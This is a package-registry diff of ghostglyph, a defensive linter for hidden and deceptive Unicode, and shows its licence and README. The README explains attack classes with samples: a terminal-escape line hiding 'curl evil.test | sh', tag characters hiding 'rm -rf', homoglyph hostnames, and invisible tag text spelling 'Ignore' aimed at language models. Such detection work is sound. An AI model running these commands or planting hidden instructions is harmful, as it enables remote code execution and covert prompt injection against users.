ghostglyph 0.1.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 ghostglyph contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,401 @@
1
+ Metadata-Version: 2.4
2
+ Name: ghostglyph
3
+ Version: 0.1.2
4
+ Summary: Linter that finds invisible and deceptive Unicode in source code, documentation, configuration and prompt files.
5
+ Author: ghostglyph contributors
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/RealAoss/ghostglyph
8
+ Project-URL: Issues, https://github.com/RealAoss/ghostglyph/issues
9
+ Keywords: unicode,security,linter,trojan-source,homoglyph,prompt-injection
10
+ Classifier: Development Status :: 4 - Beta
11
+ Classifier: Environment :: Console
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Operating System :: OS Independent
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Programming Language :: Python :: 3 :: Only
16
+ Classifier: Topic :: Security
17
+ Classifier: Topic :: Software Development :: Quality Assurance
18
+ Requires-Python: >=3.10
19
+ Description-Content-Type: text/markdown
20
+ License-File: LICENSE
21
+ Dynamic: license-file
22
+
23
+ # ghostglyph
24
+
25
+ A linter that finds invisible and deceptive Unicode in source code,
26
+ documentation, configuration and prompt files.
27
+
28
+ Text can contain characters that a reviewer cannot see, or that look like
29
+ other characters. A compiler, an interpreter or a language model reads them
30
+ anyway. ghostglyph reports each one with its position, its code point in
31
+ `U+XXXX` notation and a short explanation. It is read-only, has no
32
+ dependencies outside the Python standard library, and its own output is
33
+ plain ASCII, so the report cannot hide anything either.
34
+
35
+ ## What it looks for
36
+
37
+ Each example is written in `U+XXXX` notation; the real attacks use the raw
38
+ characters.
39
+
40
+ - **Bidirectional controls ("Trojan Source", CVE-2021-42574).** Controls such
41
+ as U+202E (right-to-left override) and U+2066 (left-to-right isolate)
42
+ change the order in which text is displayed, but not the order in which a
43
+ compiler reads it. In
44
+ `if role != "user<U+202E> <U+2066>// admins only<U+2069> <U+2066>"`
45
+ an editor shows the end of the string literal as if it were a comment
46
+ after the string.
47
+ - **Tag characters ("ASCII smuggling").** U+E0020 to U+E007E mirror ASCII and
48
+ are rendered as nothing. The sequence U+E0049 U+E0067 U+E006E U+E006F
49
+ U+E0072 U+E0065 spells "Ignore"; appended to a sentence in a prompt or a
50
+ README it is invisible to people and still read by a language model.
51
+ ghostglyph decodes the hidden text and prints it.
52
+ - **Variation-selector runs.** There are 256 variation selectors, enough to
53
+ encode one byte each. U+1F600 followed by U+E0158 U+E0159 displays as a
54
+ single emoji and carries the bytes "hi".
55
+ - **Zero-width and invisible characters.** `pay<U+200B>pal_token` and
56
+ `paypal_token` look identical and are different identifiers. The same
57
+ goes for U+200C, U+200D, U+2060, U+00AD, a U+FEFF in the middle of a file,
58
+ Hangul fillers such as U+3164, and invisible operators such as U+2062.
59
+ - **Unusual whitespace.** `rm -rf<U+00A0>/tmp/build` contains a no-break
60
+ space, which a shell does not treat as a separator, so the option and the
61
+ path arrive as one argument. U+2028 is a line break in some languages and
62
+ ordinary text in others.
63
+ - **Control characters and odd code points.** `echo ok<U+001B>[8m; curl
64
+ evil.test | sh<U+001B>[0m` uses a terminal escape sequence to conceal part
65
+ of a line when the file is printed. Private-use code points,
66
+ noncharacters, unassigned code points and invalid UTF-8 are reported too.
67
+ - **Homoglyphs in identifiers.** `p<U+0430>ypal` contains CYRILLIC SMALL
68
+ LETTER A and is not the identifier `paypal`.
69
+ - **Deceptive hostnames.** `https://g<U+043E><U+043E>gle.com` mixes scripts
70
+ inside one label. Punycode hides the same thing behind ASCII:
71
+ - `xn--pypal-4ve.com` decodes to `p<U+0430>ypal.com` and is reported as deceptive. <!-- ghostglyph: ignore[GG070] -->
72
+ - `xn--mnchen-3ya.example` decodes to `m<U+00FC>nchen.example` and is only shown at info level. <!-- ghostglyph: ignore[GG071] -->
73
+
74
+ Legitimate uses are left alone by default: zero-width joiners in emoji
75
+ sequences, joiners and non-joiners in Arabic, Persian and Indic text, the
76
+ three emoji subdivision flags that are built from tag characters, a byte
77
+ order mark at the start of a file, identifiers written entirely in a
78
+ non-Latin script, and no-break spaces in prose.
79
+
80
+ ## Install
81
+
82
+ ghostglyph is installed from its Git repository:
83
+
84
+ ```
85
+ pip install git+https://github.com/RealAoss/ghostglyph
86
+ ```
87
+
88
+ It needs Python 3.10 or newer and nothing else.
89
+
90
+ ## Usage
91
+
92
+ ```
93
+ ghostglyph [options] [paths...]
94
+ ```
95
+
96
+ With no path the current directory is scanned. Directories are scanned
97
+ recursively.
98
+
99
+ ```
100
+ $ ghostglyph app.py
101
+ app.py:2:27: error GG001 bidi-unbalanced: Bidirectional control RLO is not closed before the end of the line, so the rest of the line can be displayed out of order: <U+202E RLO>
102
+ app.py:4:5: error GG060 homoglyph-identifier: Word "p<U+0430>ypal" contains Cyrillic letters that look like Latin ones; it reads "paypal": <U+0430 CYRILLIC SMALL LETTER A>
103
+ app.py:4:30: error GG010 tag-characters: 6 Unicode tag characters hide the ASCII text "rm -rf": <U+E0072 TAG LATIN SMALL LETTER R><U+E006D TAG LATIN SMALL LETTER M><U+E0020 TAG SPACE><U+E002D TAG HYPHEN-MINUS><U+E0072 TAG LATIN SMALL LETTER R><U+E0066 TAG LATIN SMALL LETTER F>
104
+ app.py:5:14: error GG030 zero-width: Zero-width character inside an identifier-like token: <U+200B ZWSP>
105
+ ```
106
+
107
+ (Four of the seven lines of that run are shown.) Lines and columns are
108
+ 1-based; columns count code points.
109
+
110
+ | Option | Meaning |
111
+ | --- | --- |
112
+ | `--format text\|json\|sarif\|github` | Output format. `github` prints GitHub Actions annotations. Default `text`. |
113
+ | `--severity info\|warning\|error` | Lowest severity to report and to fail on. Default `warning`. |
114
+ | `--select RULES`, `--ignore RULES` | Comma separated rule IDs, ID prefixes (`GG03`) or rule names. May be repeated. |
115
+ | `--profile auto\|code\|prose\|prompt` | Rule profile. Default `auto`, see below. |
116
+ | `--stdin`, `--stdin-filename NAME` | Scan standard input; the name is used in reports and to pick a profile. |
117
+ | `--strip-out FILE` | Write a cleaned copy of the single input to a new file. |
118
+ | `--exclude PATTERN` | Extra ignore pattern. May be repeated. |
119
+ | `--max-size BYTES` | Skip larger files. Default 2097152. |
120
+ | `--no-inline-ignore` | Do not honour suppression comments. |
121
+ | `--show-skipped` | List skipped files on standard error. |
122
+ | `--exit-zero` | Exit with status 0 even when there are findings. |
123
+ | `--explain RULE` | Describe one rule. |
124
+ | `--list-rules` | List all rules. |
125
+
126
+ Exit status: 0 when nothing at or above the threshold was found, 1 when
127
+ something was, 2 for usage errors and unreadable paths.
128
+
129
+ ### Profiles
130
+
131
+ The same character can be normal in prose and suspicious in code, so every
132
+ file is scanned with one of three profiles:
133
+
134
+ - `code`: the strictest. The default for any file that is not recognised as
135
+ prose or prompt, which includes configuration formats such as JSON, YAML
136
+ and TOML.
137
+ - `prose`: `.md`, `.rst`, `.txt`, `.adoc`, `.tex`, `.org`, `.csv`, `.tsv`,
138
+ translation files (`.po`, `.pot`, `.ftl`, `.strings`, `.arb`, `.xlf`,
139
+ `.xliff`, `.resx`), subtitles, and files named `README`, `LICENSE`,
140
+ `CHANGELOG` and similar without an extension. Typographic whitespace,
141
+ soft hyphens, directional marks and balanced isolates are info only.
142
+ - `prompt`: `.prompt`, `.prompty`, `.mdc`, `*.prompt.md`,
143
+ `*.instructions.md`, `CLAUDE.md`, `AGENTS.md`, `GEMINI.md`, `SKILL.md`,
144
+ `copilot-instructions.md`, `.cursorrules`, `.windsurfrules`,
145
+ `.clinerules`, `llms.txt`, and Markdown, text, YAML, JSON, XML and
146
+ template files under a directory named `prompts` or `prompt`. Like prose
147
+ for whitespace, but as strict as code for characters hidden inside words.
148
+
149
+ `--profile` overrides the choice for every file in the run.
150
+
151
+ ### Ignoring files and findings
152
+
153
+ Version control directories (`.git`, `.hg`, `.svn`) and `__pycache__` are
154
+ always skipped. Files with a NUL byte in their first 8192 bytes are treated
155
+ as binary and skipped, as are files above `--max-size`.
156
+
157
+ A `.ghostglyphignore` file in the current directory, or in a directory given
158
+ on the command line, lists paths to skip. The syntax is a small subset of
159
+ gitignore:
160
+
161
+ ```
162
+ # a pattern without a slash matches any path component
163
+ *.min.js
164
+ vendor/
165
+ # a pattern with a slash is matched from the scan root
166
+ docs/legacy
167
+ # a leading slash anchors a single name to the scan root
168
+ /build
169
+ ```
170
+
171
+ A trailing slash restricts a pattern to directories. `*`, `?` and `[...]`
172
+ work as in Python's `fnmatch`. There is no negation. Backslashes are read
173
+ as slashes. `--exclude PATTERN` takes exactly the same syntax.
174
+
175
+ A single line can be exempted with a comment on that line:
176
+
177
+ ```
178
+ label = load_icon() # ghostglyph: ignore[GG051]
179
+ ```
180
+
181
+ `ghostglyph: ignore` without a list suppresses every rule on the line. The
182
+ list takes rule IDs or rule names, separated by commas; a space before the
183
+ `[` is allowed (`ghostglyph: ignore [GG051]`). `ignore` must be a whole
184
+ word: `ghostglyph: ignored` or `ghostglyph: ignore-later` suppresses
185
+ nothing, and neither does a list without its closing `]`. Suppression comments are visible ASCII
186
+ and can be reviewed like any other change, but they can also be added by
187
+ whoever added the hidden character; `--no-inline-ignore` disables them, for
188
+ example in a periodic audit.
189
+
190
+ ### Cleaning a file
191
+
192
+ ```
193
+ ghostglyph suspicious.md --strip-out cleaned.md
194
+ ```
195
+
196
+ writes a copy with the reported invisible characters removed and the
197
+ reported unusual whitespace replaced by a plain space (or a newline for
198
+ U+2028, U+2029 and U+0085). The output is UTF-8. ghostglyph never edits a
199
+ file in place and refuses to write to a path that already exists. Only
200
+ findings at or above `--severity` are acted on, except that invalid bytes
201
+ and lone surrogates are always dropped, because they cannot be written as
202
+ UTF-8. Homoglyphs, hostnames,
203
+ private-use and unassigned code points are not changed, because there is no
204
+ mechanical fix; they are counted in the summary line. Review the result
205
+ before using it: removing a character can change meaning.
206
+
207
+ ## Rules
208
+
209
+ The severity column shows the highest severity a rule reports. Several rules
210
+ report less in the `prose` profile; `ghostglyph --explain RULE` has the
211
+ details.
212
+
213
+ | ID | Name | Severity | Reports |
214
+ | --- | --- | --- | --- |
215
+ | GG001 | bidi-unbalanced | error | Bidi embedding, override or isolate left open at the end of a line, or a closing control without an opener. |
216
+ | GG002 | bidi-control | error | Balanced bidi embedding, override or isolate. Error in code; warning or info in prose and prompt. |
217
+ | GG003 | bidi-mark | warning | U+200E, U+200F, U+061C. Info in prose and prompt. |
218
+ | GG010 | tag-characters | error | Tag characters outside the three subdivision flag sequences, with the hidden ASCII decoded. |
219
+ | GG020 | variation-selector-run | error | Two or more consecutive variation selectors, with the carried bytes decoded. Warning for runs of two or three. |
220
+ | GG021 | variation-selector-misplaced | warning | A single variation selector that does not follow a plausible base character. |
221
+ | GG030 | zero-width | warning | U+200B, U+200C, U+200D, U+2060, U+180E, and U+FEFF away from the start of the file. Error inside an identifier-like token in code and prompt. |
222
+ | GG031 | zero-width-run | error | Four or more consecutive zero-width characters. |
223
+ | GG032 | soft-hyphen | warning | U+00AD. Info in prose; error inside a token in code and prompt. |
224
+ | GG033 | invisible-filler | warning | Hangul fillers, invisible math operators, blank braille pattern, combining grapheme joiner, deprecated format characters. |
225
+ | GG040 | unusual-whitespace | warning | Whitespace other than space, tab and line endings. Error for U+2028 and U+2029 in code; info in prose and prompt. |
226
+ | GG050 | control-character | warning | C0 and C1 controls except tab, LF and CR. Form feed is info. |
227
+ | GG051 | private-use | warning | Private-use code points. |
228
+ | GG052 | noncharacter | warning | Unicode noncharacters. |
229
+ | GG053 | unassigned | warning | Code points unassigned in the Unicode version of the running Python. |
230
+ | GG054 | invalid-encoding | error | Invalid UTF-8 bytes and lone surrogates. |
231
+ | GG060 | homoglyph-identifier | error | A word mixing Latin with Cyrillic or Greek where one script's letters are all look-alikes. Warning for Greek and in prose. |
232
+ | GG061 | mixed-script-identifier | info | A word mixing those scripts without matching the look-alike table. Code profile only. |
233
+ | GG062 | compatibility-lookalike | warning | A word with fullwidth, mathematical or ligature letters that normalize to ASCII letters. Info in prose. |
234
+ | GG070 | deceptive-hostname | error | A hostname label that mixes scripts (error) or consists only of look-alike letters (warning), including decoded punycode. |
235
+ | GG071 | punycode-hostname | info | A punycode label, decoded for display. Warning if it cannot be decoded. |
236
+
237
+ ## Library
238
+
239
+ ```python
240
+ from ghostglyph import scan_text, scan_bytes, scan_path
241
+
242
+ for finding in scan_path("src"):
243
+ print(finding.filename, finding.line, finding.column,
244
+ finding.rule, finding.severity, finding.message, finding.rendering)
245
+ ```
246
+
247
+ - `scan_text(text, *, filename=None, profile="auto", select=None,
248
+ ignore=None, min_severity="warning", inline_ignore=True)` returns a list
249
+ of `Finding`.
250
+ - `scan_bytes(data, ...)` takes the same options. It decodes UTF-8 (and
251
+ UTF-16 or UTF-32 when a byte order mark is present) and reports invalid
252
+ bytes as findings.
253
+ - `scan_path(path, ..., max_size=2097152)` scans a file or a directory tree
254
+ and never writes anything.
255
+ - `strip_text(text, findings)` returns the cleaned text that `--strip-out`
256
+ would write.
257
+
258
+ A `Finding` has `rule`, `name`, `severity`, `line`, `column`, `codepoints`
259
+ (a tuple of integers), `message`, `rendering` (for example `<U+202E RLO>`),
260
+ `filename`, and `offset` and `length` in code points. `message` and
261
+ `rendering` are always printable ASCII.
262
+
263
+ ## pre-commit
264
+
265
+ ```yaml
266
+ repos:
267
+ - repo: https://github.com/RealAoss/ghostglyph
268
+ rev: <tag-or-commit>
269
+ hooks:
270
+ - id: ghostglyph
271
+ ```
272
+
273
+ Replace `<tag-or-commit>` with the revision you want to pin. Arguments can
274
+ be added with `args: [--severity, error]`.
275
+
276
+ ## GitHub Actions
277
+
278
+ ```yaml
279
+ name: ghostglyph
280
+ on: [push, pull_request]
281
+ jobs:
282
+ ghostglyph:
283
+ runs-on: ubuntu-latest
284
+ steps:
285
+ - uses: actions/checkout@v5
286
+ - uses: actions/setup-python@v6
287
+ with:
288
+ python-version: "3.12"
289
+ - run: pip install git+https://github.com/RealAoss/ghostglyph
290
+ - run: ghostglyph --format github .
291
+ ```
292
+
293
+ `--format github` prints one annotation per finding, which GitHub attaches
294
+ to the changed lines. The file name is given as it is (non-ASCII letters
295
+ included) so that the annotation finds its file; only invisible, bidi and
296
+ other suspicious characters in a file name are written as `<U+XXXX>`. `--format sarif` produces a SARIF 2.1.0 document for
297
+ tools that consume that format.
298
+
299
+ ## Unicode version
300
+
301
+ All character data comes from Python's `unicodedata` module, so results
302
+ depend on the Unicode version of the interpreter that runs ghostglyph
303
+ (`ghostglyph --version` prints it). A character that was added to Unicode
304
+ after that version is reported as unassigned (GG053), and a recently added
305
+ emoji may not be recognised inside a joiner sequence.
306
+
307
+ ## How well it works
308
+
309
+ Two corpora live in `bench/`; `python bench/run.py` prints the numbers.
310
+
311
+ **Development corpus** (`bench/corpus.py`), written together with the rules:
312
+ 45 attack samples, the expected rule fires on all 45; 40 legitimate samples,
313
+ no finding at the default threshold. This shows the rules do what they were
314
+ designed to do and nothing more.
315
+
316
+ **Blind corpus** (`bench/blind.py`), written by someone who never saw the
317
+ code and run once: 111 samples of ordinary text - prose in Arabic, Persian,
318
+ Urdu, Hebrew, Indic scripts, Russian, Ukrainian, Greek, Chinese, Japanese,
319
+ Korean, Thai and several Latin-script languages; emoji of every structural
320
+ kind; code with non-Latin identifiers and literals; Greek letters in
321
+ scientific code; byte order marks, mixed line endings, internationalized
322
+ domain names. They contain 33 zero-width joiners, 12 zero-width non-joiners,
323
+ 22 emoji presentation selectors, 24 tag characters in flag sequences and 11
324
+ ideographic variation selectors, all in legitimate positions. Findings at the
325
+ default threshold: 0 of 111.
326
+
327
+ What has not been measured: **detection on attack samples written by someone
328
+ else.** The blind corpus contains no attacks, so the detection side rests on
329
+ the development corpus and the unit tests alone. Expect misses on attack
330
+ shapes the author did not think of; the known ones are listed below.
331
+
332
+ ## What it does not do
333
+
334
+ - It does not parse programming languages. It cannot tell a comment from a
335
+ string from code, so in the `code` profile every bidi control is reported
336
+ wherever it is. Identifier-like tokens are found by a regular expression.
337
+ - The look-alike table is a hand-written list of about sixty Cyrillic and
338
+ Greek letters. It is not the Unicode confusables data (UTS #39). Other
339
+ scripts with Latin look-alikes (Armenian, Cherokee and others), look-alikes
340
+ within Latin (dotless i, Latin alpha), look-alike digits, and ASCII pairs
341
+ such as `l` and `1` are not covered.
342
+ - An identifier written entirely in Cyrillic or Greek look-alikes is not
343
+ reported, because it cannot be told apart from an ordinary word. The same
344
+ spelling is reported as a warning in a hostname with an ASCII label.
345
+ - `unicodedata` has no Script or emoji properties. Scripts are derived from
346
+ character names and emoji are recognised by block ranges, which is an
347
+ approximation.
348
+ - Bidi balance is checked line by line with a simplified model. It is not
349
+ an implementation of the Unicode Bidirectional Algorithm.
350
+ - Variation selectors are checked for plausibility only. Data spread out as
351
+ one selector after each of many visible characters is not detected.
352
+ - It does not check normalization form, stacked combining marks, trailing
353
+ whitespace, or mixed line endings.
354
+ - It finds hidden and deceptive characters. It does not judge visible text,
355
+ so a prompt injection written in plain sight is out of scope.
356
+ - Encodings other than UTF-8, and UTF-16 or UTF-32 with a byte order mark,
357
+ are not decoded; a legacy 8-bit file is reported as invalid UTF-8.
358
+ - Binary and oversized files are skipped, so a text file with a NUL byte
359
+ near its start is not scanned. `--show-skipped` lists them.
360
+ - `--strip-out` is mechanical. It does not replace homoglyphs.
361
+
362
+ Known false positives: Greek letters joined directly to Latin ones in
363
+ scientific code when the Greek letter has a Latin look-alike (rho followed
364
+ by `gh` is a GG060 warning); a zero-width non-joiner used to suppress a
365
+ ligature between Latin letters (GG030); private-use icon-font characters
366
+ (GG051);
367
+ no-break spaces inside comments and strings in code files (GG040);
368
+ directional marks in right-to-left user-interface strings stored in code or
369
+ JSON files (GG003). Use a suppression comment, `--ignore`, the ignore file
370
+ or `--profile prose` for such files.
371
+
372
+ ## Comparison with other approaches
373
+
374
+ Several compilers and language linters warn about bidirectional controls in
375
+ source files; each covers its own language and usually only that class of
376
+ character. Editors and code hosting sites highlight bidi controls and some
377
+ invisible characters, which helps a person who is looking at that view but
378
+ does not gate a build and does not apply to files that are never opened in
379
+ it. Generic secret scanners look for credential patterns and high-entropy
380
+ strings and are not concerned with Unicode at all. ghostglyph covers
381
+ several character classes in one pass over any text file, including tag
382
+ characters and variation-selector runs that matter for files read by
383
+ language models, and can fail a commit or a CI job. In exchange it knows
384
+ nothing about any particular language, and its homoglyph detection is
385
+ narrower than tools built on the full Unicode confusables data.
386
+
387
+ ## Development
388
+
389
+ ```
390
+ PYTHONPATH=src python -m unittest discover -s tests -v
391
+ python bench/run.py
392
+ ```
393
+
394
+ `bench/` contains a small development corpus of attack samples and
395
+ legitimate multilingual samples. It was written alongside the rules, so its
396
+ numbers are a regression check, not an independent evaluation. See
397
+ `CONTRIBUTING.md`.
398
+
399
+ ## License
400
+
401
+ MIT. See `LICENSE`.